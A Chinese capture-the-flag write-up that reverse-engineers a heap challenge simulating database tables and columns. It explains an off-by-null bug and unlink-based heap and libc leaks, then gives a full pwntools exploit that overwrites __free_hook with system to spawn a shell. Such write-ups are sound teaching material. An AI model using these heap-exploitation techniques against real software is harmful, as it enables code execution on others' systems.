前言
上海市大学生网络安全大赛的一道 pwn 题目,题目用了双向链表(猜到是 Unlink 漏洞)。
还算比较简单,主要是分析代码比较复杂。分析完后漏洞限制条件少,题目给了 libc2.31,利用比较灵活。
这题白天解比较少,临近比赛结束的时候很多队就做出来了,估计师傅们都花时间在逆向分析上了。
题目应该还是主要考察逆向分析和 Unlink 的理解,不能直接套模板。这里详细写一下分析步骤。
题目使用 off-by-null 漏洞和 unlink 漏洞,我这里通过 unlink 攻击 tcache_struct 获得 unsorted bin 的 chunk 来泄露 libc 地址。当然,还有很多其它泄露 libc 的方法。最后我直接打了__free_hook -> system,除了这种做法以外,也可以通过打 IO_FILE、rtld_global 或 tcache 等其它方法来 get shell。
文章结构分为题目分析、漏洞利用、Exp 三部分。
题目分析
main 函数分析
拖入 IDA 分析,F5 反编译,发现 main 函数调用了 Init 函数。
在 Init 函数中进行初始化操作,创建了 0x30 大小的 chunk,并让一个全局变量指针指向这个 chunk。
然后看一下 while 循环,首先调用一个函数输出了 mysql >提示信息。
然后通过 read 读入 0x100 个字符到变量 s 中,将 s 作为参数传入函数。
主函数初始化分析
然后跟进这个主函数分析:
这个函数首先调用 sub_1E84 这个函数,跟进查看:
不难理解,循环 256 次,将(&s1)[i]初始化为 0,双击 s1,发现实际上是初始化 s1 指针、qword_5068 指针、qword_5070 指针和 qwrod_5078 指针为 0。
然后调用 sub_13A4 这个函数,将 main 中输入的 s 作为参数传入:
调用 strtok 函数,这个函数是将字符串按照指定字符进行分割。这里空格分割,每调用一次,取下一个字符。
这里就是将 s 按照空格分割,然后将结果分别赋值给前面的 s1 指针、qword_5068 指针、qword_5070 指针和 qwrod_5078 指针。我们将后面三个分别重命名为 arg1 arg2 arg3。
菜单分析
在主函数处理完字符串后,开始到了菜单部分。开始分析题目的菜单处理部分。
malloc
首先,判断 s1 是否为 CREATE,这里应该是 malloc 功能。
根据代码分析,sub_18F9 应该是 createTable 函数。sub_19B7 函数也是 create 函数,但是有三个参数。
if ( ! strcmp ( s1, "CREATE" ) )
{
if ( ! strcmp ( arg1, "TABLE" ) )
{
if ( arg2 )
{
sub_18F9 ( arg2) ;
result = 1LL ;
}
else
{
puts ( "CREATE TABLE " ) ;
result = 0LL ;
}
}
else if ( arg3 && arg1 )
{
sub_19B7 ( arg3, arg1) ;
result = 2LL ;
}
else
{
puts ( "CREATE COLUMN FROM TABLE" ) ;
result = 0LL ;
}
}
createTable
我们进入 createTable 函数继续分析,函数先 malloc 了一个 0x30 大小的 chunk,然后让指针 s 指向它。
猜测这个应该是存储 table 的结构体,然后调用 sub_1415 函数判断 tableName 是否已经存在。
如果不存在 tableName 调用 strlen 判断字符串长度,长度若<=0x10 则调用 memcpy 函数将 name 赋值给 chunk。
然后调用 sub_1479 函数传入 chunk 指针进行进一步的处理。
__int64 __fastcall addTable ( const char * tableName)
{
__int64 result;
size_t v2;
void * s;
s = malloc ( 0x28uLL ) ;
if ( ! s )
exit ( 0 ) ;
memset ( s, 0 , 0x28uLL ) ;
if ( sub_1415 ( tableName) )
{
puts ( "Table exits" ) ;
result = 0LL ;
}
else if ( strlen ( tableName) <= 0x10 )
{
v2 = strlen ( tableName) ;
memcpy ( s, tableName, v2) ;
result = sub_1479 ( s) ;
}
else
{
puts ( "NAME LENGTH ERROR" ) ;
result = 0LL ;
}
return result;
}
我们现在需要分析 sub_1415 和 sub_1479 函数,先将它们重命名为 isExistTableName 和 processAddTable。
先来分析 isExistTableName 函数:
char * __fastcall isExistTableName( const char * tableName)
{
char * s1; // [ rsp+ 18h] [ rbp- 8h]
s1 = * ( char ** ) ( qword_5868 + 16 ) ;
if ( !s1 )
return 0LL;
while ( s1 )
{
if ( !strcmp( s1, tableName) )
return s1;
s1 = ( char * ) * ( ( _QWORD * ) s1 + 2 ) ;
}
return 0LL;
}
函数逻辑很简单,s1 指向 qword_5868+0x10 的位置。
显而易见,这是一个链表结构,如果 tableName 比对不成功执行 s1 = (char ) ((_QWORD *)s1 + 2);语句将 s1 指针指向 s1 + 0x10 的位置。如果存在则返回指向 table 的指针,否则返回 0。
程序最初初始化时,将 qword_5868 指针指向 0x30 大小的 chunk 的 user_data 部分,因此这个指针指向链表的头结点,qword_5868 是头指针,我们将其重命名为 head。
通过 s1 = *(char **)(qword_5868 + 16);可以知道结点的 0x10 位置是 fd 指针,指向下一个 chunk。
然后分析 processAddTable 函数:
__int64 __fastcall processAddTable ( __int64 node)
{
__int64 result;
__int64 v2;
v2 = * ( _QWORD * ) ( head + 16 ) ;
if ( v2 )
{
while ( * ( _QWORD * ) ( v2 + 16 ) )
v2 = * ( _QWORD * ) ( v2 + 16 ) ;
* ( _QWORD * ) ( v2 + 16 ) = node;
* ( _QWORD * ) ( node + 24 ) = v2;
* ( _QWORD * ) ( node + 16 ) = 0LL ;
result = 0LL ;
}
else
{
* ( _QWORD * ) ( head + 16 ) = node;
* ( _QWORD * ) ( node + 24 ) = head;
* ( _QWORD * ) ( node + 16 ) = 0LL ;
result = 1LL ;
}
return result;
}
先初始化 v2 指针指向第一个结点,判断第一个结点是否为 NULL。
如果当前链表不为空,则通过 while 语句将 v2 指针指向最后一个结点。然后将 v2 结点的 fd 指针指向新增的 node。接着让新增的 node 的 0x18 位置指向 v2 结点,然后设置 node 结点的 fd 指针为 NULL。
到这里,就可以完整分析出 node 的结构体:
struct tableNode {
char name[ 16 ] ;
tableNode* fd;
tableNode* bk;
}
将结构体插入到 IDA 中,在变量位置按快捷键 y 可以修改变量类型。(这里应该 name 大小是 16,图就不改了)
修改后再看反编译的代码,一目了然:
createColumn
然后分析 create 的另一个函数,通过提示信息可以发现这个函数应该是 CREATE COLUMN。
__int64 __fastcall createColumn ( __int64 tableName, const char * columnName)
{
__int64 result;
size_t v3;
char * v4;
_QWORD * s;
v4 = isExistTableName ( ( const char * ) tableName) ;
if ( v4 )
{
s = malloc ( 0x28uLL ) ;
if ( ! s )
exit ( 0 ) ;
memset ( s, 0 , 0x28uLL ) ;
if ( sub_16A6 ( v4, columnName) )
{
puts ( "column exits" ) ;
result = 0LL ;
}
else if ( strlen ( columnName) <= 0x10 )
{
v3 = strlen ( columnName) ;
memcpy ( s, columnName, v3) ;
s[ 4 ] = malloc ( 0x100uLL ) ;
if ( ! s[ 4 ] )
exit ( 0 ) ;
sub_170B ( ( __int64) v4, ( __int64) s) ;
result = 0LL ;
}
else
{
puts ( "COLUMN LENGTH ERROR" ) ;
result = 0LL ;
}
}
else
{
puts ( "Table Not EXITS" ) ;
result = 0LL ;
}
return result;
}
传入的两个参数分别是 tableName 和 columnName,首先调用函数判断 tableName 是否存在。
然后创建一个 0x30 大小的 chunk,指针 s 指向它,猜测这个应该是用来存储 column 的结构体。
函数又调用了 sub_16A6 函数,根据提示信息这应该是判断 column 是否已存在的函数。
如果 column 不存在,调用 strlen 判断 columnName 长度<=0x10,然后调用 memcpy 将 name 赋值给结构体。
接着,malloc 一个 0x110 大小的 chunk,将指针赋值给 s[4],即结构体 0x20 的位置。
最后,调用 sub_170B 函数,传入 table 指针和新申请的 column 结构体指针。
现在,我们分析 sub_16A6 和 sub_170B 函数,分别重命名为:isExistColumnName()和 processAddColumn()。
先来看一下 isExistColumnName 函数:
char * __fastcall isExistColumnName ( tableNode * table, const char * columnName)
{
char * s1;
s1 = * ( char * * ) table[ 1 ] . name;
if ( ! s1 )
return 0LL ;
while ( s1 )
{
if ( ! strcmp ( s1, columnName) )
return s1;
s1 = ( char * ) * ( ( _QWORD * ) s1 + 2 ) ;
}
return 0LL ;
}
可以发现,table[1].name 这里存在点问题,实际上是 table 结构体+0x20 位置。
根据代码分析,table 结构体+0x20 应该是 column 结构体的指针,column 结构体也是以双向链表的形式存储。
如果存在同名 column,则返回指向 column 的指针,否则返回 0。
我们定义 columnNode 的结构体,然后修改 tableNode 的结构体:
struct columnNode
{
char name[ 16 ] ;
columnNode * fd;
columnNode * bk;
columnNode * nextColumn;
} ;
struct tableNode
{
char name[ 16 ] ;
tableNode * fd;
tableNode * bk;
columnNode * columnContent;
} ;
修改完结构体和变量类型后,代码一目了然:
__int64 __fastcall processAddColumn ( tableNode * table, columnNode * column)
{
__int64 result;
columnNode * v3;
v3 = table-> ptr_column;
if ( v3 )
{
while ( v3-> fd )
v3 = v3-> fd;
v3-> fd = column;
column-> bk = v3;
result = 1LL ;
}
else
{
table-> ptr_column = column;
column-> fd = 0LL ;
column-> bk = ( columnNode * ) table;
result = 1LL ;
}
return result;
}
free
add 函数分析完成了,看上去并没有什么漏洞,大体逻辑是将 table 和 column 存储在双向链表中。
主要是三部分:table 结构体、column 结构体、columnContent。
弄懂 add 相关的结构体,后面代码就好分析了。下面分析 free 相关函数:
else if ( ! strcmp ( s1, "DELETE" ) )
{
if ( ! strcmp ( arg1, "TABLE" ) )
{
if ( arg2 )
{
sub_1BAC ( arg2) ;
result = 3LL ;
}
else
{
puts ( "DELETE TABLE ) ;
result = 0LL ;
}
}
else
{
strcmp ( arg2, "FROM" ) ;
if ( arg3 && arg1 )
{
sub_1AF8 ( arg3, arg1) ;
result = 4LL ;
}
else
{
puts ( "DELETE COLUMN FROM TABLE" ) ;
result = 0LL ;
}
}
}
有了前面基础很容易知道,这里两个函数,一个删除 Table,另一个删除 Column。
deleteTable
首先看一下 deleteTale 函数:
__int64 __fastcall deleteTable ( const char * tableName)
{
__int64 result;
char * v2;
v2 = isExistTableName ( tableName) ;
if ( v2 )
{
sub_1515 ( v2) ;
result = 0LL ;
}
else
{
puts ( "table not exits" ) ;
result = 0xFFFFFFFFLL ;
}
return result;
}
函数首先判断 table 是否存在,如果存在调用 sub_1515 函数删除 Table。
跟进这个函数分析一下:
__int64 __fastcall processDeleteTable ( tableNode * tableNode)
{
char * v1;
columnNode * ptr;
tableNode * v4;
tableNode * v5;
v1 = isExistTableName ( tableNode-> name) ;
ptr = tableNode-> ptr_column;
if ( ! v1 )
return 0LL ;
v4 = tableNode-> fd;
v5 = tableNode-> bk;
if ( v5 == ( tableNode * ) head )
{
* ( _QWORD * ) ( head + 16 ) = v4;
if ( v4 )
v4-> bk = ( tableNode * ) head;
while ( ptr )
{
free ( ptr-> columnContent) ;
free ( ptr) ;
ptr = ptr-> fd;
}
goto LABEL_8;
}
if ( ! v4 )
{
v5-> fd = 0LL ;
while ( ptr )
{
free ( ptr-> columnContent) ;
free ( ptr) ;
ptr = ptr-> fd;
}
LABEL_8:
free ( tableNode) ;
return 1LL ;
}
v5-> fd = v4;
v4-> bk = v5;
while ( ptr )
{
free ( ptr-> columnContent) ;
free ( ptr) ;
ptr = ptr-> fd;
}
free ( tableNode) ;
return 0LL ;
}
首先,v1 指针和 ptr 指针分别指向 table 和 column。然后给 v4、v5 赋值 table 的 bk 和 fd 指针指。
接着,判断 bk 指针是否指向 head 结点,即判断要删除的 table 是否是第一个结点。
如果是第一个结点,则:
执行代码清空头结点的 fd 指针。
如果存在下一个结点,修改下一个结点的 bk 指针指向头结点。
如果存在 column,则 free columnContent,然后 free column。
最后,free 掉 tableNode。
可以发现,由于使用函数根据 Name 检查是否存在 table 和 column,这里不存在 Double Free 漏洞。
如果不是第一个结点,在最后一个结点,则:
清空前一个结点的 fd 指针。
如果存在 column,则 free columnContent,然后 free column。
最后,free 掉 tableNode。
如果既不是第一个结点,也不是最后一个结点,则:
node -> bk -> fd = bk
node -> fd -> bk = fd
如果存在 column,则 free columnContent,然后 free column。
最后,free 掉 tableNode。
deleteColumn
下面分析 deleteColumn 函数:
__int64 __fastcall deleteColumn ( const char * tableName, const char * columnName)
{
__int64 result;
tableNode * v3;
columnNode * v4;
if ( isExistTableName ( tableName) )
{
v3 = ( tableNode * ) isExistTableName ( tableName) ;
if ( isExistColumnName ( v3, columnName) )
{
v4 = isExistColumnName ( v3, columnName) ;
sub_1795 ( v3, v4) ;
}
else
{
puts ( "Column not exits" ) ;
}
result = 0LL ;
}
else
{
puts ( "Table not exits" ) ;
result = 0LL ;
}
return result;
}
函数调用 isExistTableName 判断 table 是否存在,如果存在则使 v3 指针指向 table。
然后调用 isExistColumnName 判断 column 是否存在,如果存在则使 v4 指向 column。
然后调用 sub_1795 函数,传入 table 执行和 column 指针进行删除操作。
然后,我们看一下这个删除函数:
__int64 __fastcall processDeleteColumn ( tableNode * tableNode, columnNode * columnNode)
{
__int64 result;
columnNode * v3;
columnNode * v4;
if ( ! isExistColumnName ( tableNode, columnNode-> name) )
return 0LL ;
v4 = columnNode-> bk;
v3 = columnNode-> fd;
if ( v4 == ( columnNode * ) tableNode )
{
tableNode-> ptr_column = columnNode-> fd;
if ( v3 )
v3-> bk = ( columnNode * ) tableNode;
free ( columnNode-> columnContent) ;
columnNode-> columnContent = 0LL ;
free ( columnNode) ;
result = 1LL ;
}
else if ( v3 )
{
v4-> fd = v3;
v3-> bk = v4;
free ( columnNode-> columnContent) ;
columnNode-> columnContent = 0LL ;
free ( columnNode) ;
result = 0LL ;
}
else
{
v4-> fd = 0LL ;
free ( columnNode-> columnContent) ;
columnNode-> columnContent = 0LL ;
free ( columnNode) ;
result = 1LL ;
}
return result;
}
首先使 v4 指向 column 的前一个结点,使 v3 指向 column 的后一个结点。
如果 column 是 table 的第一个结点:
table 结点的 column 指针指向下一个结点。
如果存在下一个结点,则下一个结点的 bk 指针指向 table。
free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。
如果 column 不是第一个结点,也不是最后一个结点:
column -> bk -> fd = bk
column -> fd -> bk = fd
free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。
如果 column 是最后一个结点:
将前一个结点的 fd 指针置 NULL。
free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。
show
free 函数也分析完毕了,没有什么明显的漏洞,虽然双链表可能导致 Unlink,但是需要配合其它漏洞修改 chunk 的 fd、bk 指针。
接下来,分析 show 功能:
else if ( ! strcmp ( s1, "SHOW" ) )
{
if ( ! strcmp ( arg1, "TABLE" ) )
{
if ( arg2 )
{
sub_1BF9 ( arg2) ;
result = 5LL ;
}
else
{
puts ( "SHOW TABLE ") ;
result = 0LL ;
}
}
else
{
result = 0LL ;
}
}
showTable
show 的功能很简单,代码一目了然,打印当前 table 的所有 column 内容。
__int64 __fastcall showTable ( const char * tableName)
{
__int64 result;
__int64 v2;
char * v3;
v3 = isExistTableName ( tableName) ;
if ( v3 )
{
v2 = * ( ( _QWORD * ) v3 + 4 ) ;
if ( v2 )
{
while ( v2 )
{
printf ( "Column Name: %s\n Column Content: %s\n" , ( const char * ) v2, * ( const char * * ) ( v2 + 32 ) ) ;
v2 = * ( _QWORD * ) ( v2 + 16 ) ;
}
result = 0LL ;
}
else
{
puts ( "NO column" ) ;
result = 0xFFFFFFFFLL ;
}
}
else
{
puts ( "Table not exits" ) ;
result = 0xFFFFFFFFLL ;
}
return result;
}
edit
前面都没有很明显的漏洞,看来只能把希望寄托于 Edit 功能了。
edit 功能只允许我们去 edit column:
else if ( ! strcmp ( s1, "EDIT" ) )
{
if ( ! strcmp ( arg2, "FROM" ) )
{
if ( arg3 && arg1 )
{
editTable ( ( const char * ) arg3, arg1) ;
result = 6LL ;
}
else
{
puts ( "EDIT COLUMN FROM TABLE" ) ;
result = 0LL ;
}
}
else
{
result = 0LL ;
}
}
editTable
editTable 函数首先初始化 v3 和 dest 指针分别指向 table 和 column。
然后调用 read 输入 name 到 buf,接着调用了 strlen 判断 name 长度是否<=0x10。
然后调用 strcpy 函数将 name 赋值给 column 结构体,这里显然存在问题。
之前的输入都是通过 memcpy 设置了输入长度,这里却使用了 strcpy。这是一个常见的漏洞,strlen 和 strcpy 行为不一致很容易导致漏洞,strlen()函数返回的长度不包括字符串末尾的\x00,而 strcpy 会将字符串和末尾的\x00 一起复制到其它变量中,这会导致\x00 单字节溢出漏洞,也就是 off-by-null 漏洞。
最后调用 read 函数输入内容到 columnContent 中。
int __fastcall editTable ( const char * tableName, const char * columnName)
{
int result;
tableNode * v3;
columnNode * dest;
__int64 buf[ 6 ] ;
buf[ 5 ] = __readfsqword ( 0x28u ) ;
v3 = ( tableNode * ) isExistTableName ( tableName) ;
buf[ 0 ] = 0LL ;
buf[ 1 ] = 0LL ;
buf[ 2 ] = 0LL ;
buf[ 3 ] = 0LL ;
if ( v3 )
{
dest = isExistColumnName ( v3, columnName) ;
if ( dest )
{
puts ( "Column name:" ) ;
read ( 0 , buf, 0x20uLL ) ;
if ( strlen ( ( const char * ) buf) <= 0x10 )
{
strcpy ( dest-> name, ( const char * ) buf) ;
puts ( "Column Content: " ) ;
read ( 0 , dest-> columnContent, 0x100uLL ) ;
result = puts ( "Done" ) ;
}
else
{
puts ( "Invalid colunm name" ) ;
result = 0 ;
}
}
else
{
result = 0 ;
}
}
else
{
puts ( "Table not exits" ) ;
result = 0 ;
}
return result;
}
题目分析总结
题目分析完成了,程序模拟了数据库操作。我们可以对 table 和 column 进行增删查,对 column 进行修改。
程序采用双链表的形式保存 table 和 column 结点,每个 table 存在一个指针指向 column 链表的第一个结点。
每个 column 存在一个指针指向 columnContent,这是一个 0x110 大小的 chunk,可以用来存储 column 的内容。
对于 edit 操作存在\x00 溢出,即 off-by-null。可以结合前面的双向链表删除操作利用,即 unlink。
漏洞利用
漏洞分析
覆盖 fd 指针
根据前面的分析,在 edit column 的 name 时候可以溢出一个字节的\x00。
前面分析知和 column 结构体中 name 相邻的是 fd 指针,指向下一个 column:
struct columnNode
{
char name[ 16 ] ;
columnNode * fd;
columnNode * bk;
columnNode * nextColumn;
} ;
如果这个指针是 xxxxxxx80,通过 off-by-null 可以将其修改为 xxxxxxx00。
伪造 columnNode
在 xxxxxxx00 的位置我们可以伪造出一个 column 结点的结构体,此时 fd、bk 指针可控。
在进行删除 column 时程序没有严格对指针进行校验,即没有 unlink 时的检查。
unlink
如果我们调用 free 函数删除 column,它会在程序认为的 column->bk->fd 赋值 bk,在 column->fd->bk 赋值 fd。
然后我们配合 off-by-null,伪造 fake_chunk 的 fd、bk 指针,接着调用 free 函数 free(fake_chunk)。
这就实现了任意写,但是还存在一个问题,fd、bk 必须指向可写内存,否则在没有写入权限的段写数据会报错。
泄露 heap
为了后续利用,显然我们必须知道 heap 的基地址,如何想办法泄露 heap 地址呢?
其实很容易,因为 name 字段可以读入 0x10 大小,如果末尾没有\x00 截断,put 时会将相邻的 fd 指针打印出来。
只要我们布局好 chunk,打印出来的 fd 指针相对于 heap 基地址的偏移量是固定的,可以计算出 heap 偏移量。
def send ( text) :
sla( b'mysql > ' , text)
send( b'CREATE TABLE TEST' )
send( b'CREATE USELESS1USELESS1 FROM TEST' )
send( b'CREATE COLUMN FROM TEST' )
send( b'CREATE USELESS2 FROM TEST' )
send( b'CREATE USELESS3 FROM TEST' )
send( b'CREATE USELESS4 FROM TEST' )
send( b'SHOW TABLE TEST' )
ru( 'USELESS1USELESS1' )
heap = uu64( rc( 6 ) )
info( 'heap' , heap)
通过 edit 功能将 column 的 name 填满,然后调用 show 函数。
vis 命令可以看到,name 已填满,show 时候会一直打印泄露出 fd 指针:
vmmap [addr]可以很方便看到偏移量。
泄露 libc
泄露 libc 应该有很多方法,题目给的是 libc2.31,可以考虑将 chunk 放到 unsorted bin 中。
需要先填满对应大小的 tcache,但是通过题目漏洞去填充 tcache 太麻烦,我这里直接攻击 tcache 结构体。
我们想将 content chunk 作为泄露的目标 chunk,因此需要攻击 tcache.count[0xa0]。
我们在 edit column_name 时,多输入一个\x00 覆盖 fd 指针,如下图所示:
这个 column 的 fd 指针本来应该指向 0x5583dcb86c0。由于\x00 的覆盖,它现在指向 0x5583dcb8600。
于是,我们可以在 0x5583dcb8600 位置伪造一个 fake_chunk:
send( b'EDIT USELESS2 FROM TEST' )
sa( b'name:\n' , b'CCCCCCCCDDDDDDDD\x00' )
bk2 = heap + 0x1a - 0x10
fd2 = heap + 0x1a - 0x8
fake_str2 = heap + 0x330
sa( b'Content: \n' , b'K' * 0x40 + p64( 0xa0 ) + p64( 0xa1 ) + b'name2name2name2\x00' + p64( fd2) + p64( bk2) + p64( fake_str2) + b'K' * 0x70 + p64( 0xa1 ) )
sl( b'DELETE name2name2name2 FROM TEST' )
send( b'SHOW TABLE TEST' )
ru( b'Content: ' )
libc_base = uu64( ru( b'\x7f' ) [ - 6 : ] ) - 0x60 - 0x10 - libc. sym[ '__malloc_hook' ]
info( 'libc_base' , libc_base)
这里的 Content 实际填到了 0x5583dcb85b0 位置,我们先填充 0x40 个垃圾字符。
然后到达 0x5583dcb85f0 位置,伪造 prev_size 和 size 大小。然后在 0x5583dcb8500 位置填 fake_column_name。
接着在后面填 fake_fd 和 fake_bk,然后填入 fake_content(随便找个能被 free 不报错的位置)。接着填充满当前 chunk,并且填充下一个 chunk 的 prev_size。这时成功伪造了一个 0xa0 大小的 chunk。
通过伪造 fd、bk 指针,free 时,在 tcache.count[0xa0]位置填充一个大于 7 的数字填满 tcache。
此时,chunk 被加入 unsorted bin,用 show 函数泄露 unsorted bin 中 chunk 的 fd 指针(main_arena + 0x60)。
然后根据偏移量计算出 libc 的基地址即可。
unlink
我们的 target 是 fake_column 的 nextColumn 指针处。如果我们能够修改 nextColumn 指向它所在地址,那么可以通过 edit 功能修改 nextColumn 指针,然后实现任意地址写入。
假设 target = &column->nextColumn,fd、bk 指针可以这样构造:
bk = target
fd = target - 0x18
bk = heap + 0x820
fd = heap + 0x820 - 0x18
fake_str = heap + 0x6f0
send( b'EDIT COLUMN FROM TEST' )
sa( b'name:\n' , b'AAAAAAAABBBBBBBB\x00' )
sa( b'Content: \n' , b'P' * 0x80 + p64( 0 ) + p64( 0x81 ) + b'namenamename\x00\x00\x00\x00' + p64( fd) + p64( bk) + p64( fake_str) )
sl( b'DELETE namenamename FROM TEST' )
send( b'EDIT USELESS4 FROM TEST' )
sa( b'name:\n' , b'USELESS4' )
payload = p64( libc_base + libc. sym[ '__free_hook' ] - 0x8 ) + p64( 0x111 )
sa( b'Content: ' , payload)
send( b'EDIT USELESS4 FROM TEST' )
sa( b'name:\n' , b'USELESS4' )
payload = b'/bin/sh\x00' + p64( libc_base + libc. sym[ 'system' ] )
sa( b'Content: ' , payload)
sl( b'DELETE USELESS4 FROM TEST' )
如上面例子所示,unlink 在泄露 libc 时已经用过,不再赘述。
我们通过 unlink 使得 content_ptr 指向&content_ptr,第一次 edit 修改 content_ptr -> __free_hook - 0x8。
第二次 edit 即可修改__free_hook - 0x8 的内容,在其中填入 binsh 和 system 函数地址。
最后调用 delete 函数删除当前 column 即可调用 system(“/bin/sh”)。
Exp
from pwn import *
context( arch = 'amd64' , os = 'linux' , log_level = 'debug' )
p = process( './pwn' )
elf = ELF( './pwn' )
libc = ELF( '/lib/x86_64-linux-gnu/libc.so.6' )
def dbg ( ) :
gdb. attach( p)
pause( )
se = lambda data : p. send( data)
sa = lambda delim, data : p. sendafter( delim, data)
sl = lambda data : p. sendline( data)
sla = lambda delim, data : p. sendlineafter( delim, data)
rc = lambda num : p. recv( num)
rl = lambda : p. recvline( )
ru = lambda delims : p. recvuntil( delims)
uu32 = lambda data : u32( data. ljust( 4 , b'\x00' ) )
uu64 = lambda data : u64( data. ljust( 8 , b'\x00' ) )
info = lambda tag, addr : log. info( tag + " -> " + hex ( addr) )
ia = lambda : p. interactive( )
def send ( text) :
sla( b'mysql > ' , text)
send( b'CREATE TABLE TEST' )
send( b'CREATE USELESS1USELESS1 FROM TEST' )
send( b'CREATE COLUMN FROM TEST' )
send( b'CREATE USELESS2 FROM TEST' )
send( b'CREATE USELESS3 FROM TEST' )
send( b'CREATE USELESS4 FROM TEST' )
send( b'SHOW TABLE TEST' )
ru( 'USELESS1USELESS1' )
heap = uu64( rc( 6 ) ) - 0x440
bk2 = heap + 0x1a - 0x10
fd2 = heap + 0x1a - 0x8
fake_str2 = heap + 0x330
send( b'EDIT USELESS2 FROM TEST' )
sa( b'name:\n' , b'CCCCCCCCDDDDDDDD\x00' )
sa( b'Content: \n' , b'K' * 0x40 + p64( 0xa0 ) + p64( 0xa1 ) + b'name2name2name2\x00' + p64( fd2) + p64( bk2) + p64( fake_str2) + b'K' * 0x70 + p64( 0xa1 ) )
sl( b'DELETE name2name2name2 FROM TEST' )
send( b'SHOW TABLE TEST' )
ru( b'Content: ' )
libc_base = uu64( ru( b'\x7f' ) [ - 6 : ] ) - 0x1ecbe0
info( 'libc_base' , libc_base)
bk = heap + 0x820
fd = heap + 0x820 - 0x18
fake_str = heap + 0x6f0
send( b'EDIT COLUMN FROM TEST' )
sa( b'name:\n' , b'AAAAAAAABBBBBBBB\x00' )
sa( b'Content: \n' , b'P' * 0x80 + p64( 0 ) + p64( 0x81 ) + b'namenamename\x00\x00\x00\x00' + p64( fd) + p64( bk) + p64( fake_str) )
sl( b'DELETE namenamename FROM TEST' )
send( b'EDIT USELESS4 FROM TEST' )
sa( b'name:\n' , b'USELESS4' )
payload = p64( libc_base + libc. sym[ '__free_hook' ] - 0x8 ) + p64( 0x111 )
sa( b'Content: ' , payload)
send( b'EDIT USELESS4 FROM TEST' )
sa( b'name:\n' , b'USELESS4' )
payload = b'/bin/sh\x00' + p64( libc_base + libc. sym[ 'system' ] )
sa( b'Content: ' , payload)
send( b'DELETE USELESS4 FROM TEST' )
ia( )
你可能感兴趣的:(程序人生)
程序人生——Java中基本类型使用建议
Perley620
# Java面试上岸专栏 程序人生 java python
目录引出Java中基本类型使用建议建议21:用偶判断,不用奇判断建议22:用整数类型处理货币建议23:不要让类型默默转换建议24:边界、边界、还是边界建议25:不要让四舍五入亏了一方建议26:提防包装类型的null值建议27:谨慎包装类型的大小比较建议28:优先使用整型池建议29:优先选择基本类型建议30:不要随便设置随机种子深入认识JVMJVM内存分配,类加载创建对象的4种方法总结垃圾回收GCJ
程序人生——Java开发中通用的方法和准则,Java进阶知识汇总
Perley620
# Java面试上岸专栏 程序人生 java 职场和发展
目录引出Java开发中通用的方法和准则建议1:不要在常量和变量中出现易混淆的字母建议2:莫让常量蜕变成变量建议3:三元操作符的类型务必一致建议4:避免带有变长参数的方法重载建议5:别让null值和空值威胁到变长方法建议6:覆写变长方法也循规蹈矩建议7:警惕自增的陷阱建议8:不要让旧语法困扰你建议9:少用静态导入建议10:不要在本类中覆盖静态导入的变量和方法建议11:养成良好的习惯,显式声明UID建
程序人生-Hello’s P2P
zuo_zy
文档资料
计算机系统大作业题目程序人生-Hello’sP2P专业计算学部学号120L022413班级2003008学生左曾元指导教师吴锐计算机科学与技术学院2022年5月摘要本文分析hello程序从C文件转变为可执行文件的过程,介绍了hello程序在Linux系统下的生命周期。对预处理、编译、汇编、链接的过程进行了分析,并讨论了hello的进程管理、存储管理以及IO管理,介绍了汇编指令、机器代码、重定位、动
程序人生-Hello’s P2P
jjzbkn
linux
摘要Hello,一个十分简单的程序,可以说是几乎全世界的程序员编写的第一个程序,我们一行一行地对着教程缓慢地输入Hello的几行代码,点击运行,惊喜地看到屏幕中输出的“Hello,World!”,然后就迅速地爱上了其他程序,却又不再回头,哪怕再多观望它一眼。然而,可以这么说,在这个简单的Hello中,囊括一个程序运行的所有过程,蕴含着无数计算机科学家的思想精华。从它的诞生再到它的逝去,它经历了每一
【程序人生】上海,想说爱你不容易
蛮三刀酱
1.还记得18年秋天,我研究生第二年,在繁忙的金九银十校招季里,我最常对别人说的一句话就是,尽管上海工作机会多,可我不想去上海工作。“为什么不愿意选择上海呢?”,通常HR会在面试时候反问我。“也没有什么特别的理由,就是感觉,在那里生活压力蛮大的。”我话里也带着些许真诚,和无知。当时的我对上海很熟悉吗?显然不熟。我二十几年的人生中,去上海旅游的次数不是特别多,最重要的是,我根本没有在上海长时间生活过
python中使用BeautifulSoup模块爬取中彩网福彩3D的开奖数据
烟雨风渡
网络爬虫 网络爬虫 BeautifulSoup python 中彩网
在上一篇博客中,介绍了网络爬虫的基本流程,然后以“使用BeautifulSoup爬取盗版小说网站”的例子对上述流程加以实现。最近看到微信公众号“程序人生”中的一篇文章:点击打开网页,在这篇文章中作者爬取了中彩网福彩3D的开奖数据并对其进行了简单分析。打开福彩3D开奖数据所在的网页,谷歌浏览器F12+F5可以看到这个网站的结构很简单,很适合初学者练手,所以写了这篇博客。建议读者自己先尝试实现本篇博客
csapp 大作业
Pht_ywy
计算机系统大作业题目程序人生-Hello’sP2P专业计算机类学 号1180100406班 级1903006学生袁文宇 指导教师史先俊 计算机科学与技术学院2021年5月摘要本文重点关注hello.c从c语言程序到可执行目标文件hello的转换过程,及可执行目标文件hello作为进程运行的过程。本文旨在通过了解hello进程的诞生,以及从诞生到执行结束后被回收的全过程,分析理解计算机系统
程序人生-Hello’s P2P
-七月份-
p2p 程序人生 网络协议
计算机系统大作业题目程序人生-Hello’sP2P专业计算机科学与技术学号2021113352班级2103101学生乔宇凡指导教师刘宏伟计算机科学与技术学院2022年5月摘要本文对hello程序的整个生命周期进行了系统的分析,一开始是hello.c源程序,之后运行C预处理器(cpp)将其进行预处理生成hello.i文件,运行C编译器(ccl)将其进行翻译生成汇编语言文件hello.s,然后运行汇编
哈工大程序人生
m0_63437715
c语言
摘要每一位程序员都对hello熟悉不已,hello是我们走向又爱又恨的计算机专业的开始。hello并不是像那几行代码那样简单,究其根本,它要经过预处理,编译,汇编,链接等一系列步骤才能成为一个可执行文件。真正运行这个程序又要应用程序,操作系统,硬件系统的紧密联系。本文将重走hello一生,感受计算机的魅力。关键词:hello;预处理;编译;汇编;链接;进程;目录第1章概述.............
哈尔滨工业大学程序人生-Hello’s P2P
sanqian0
p2p 程序人生 网络
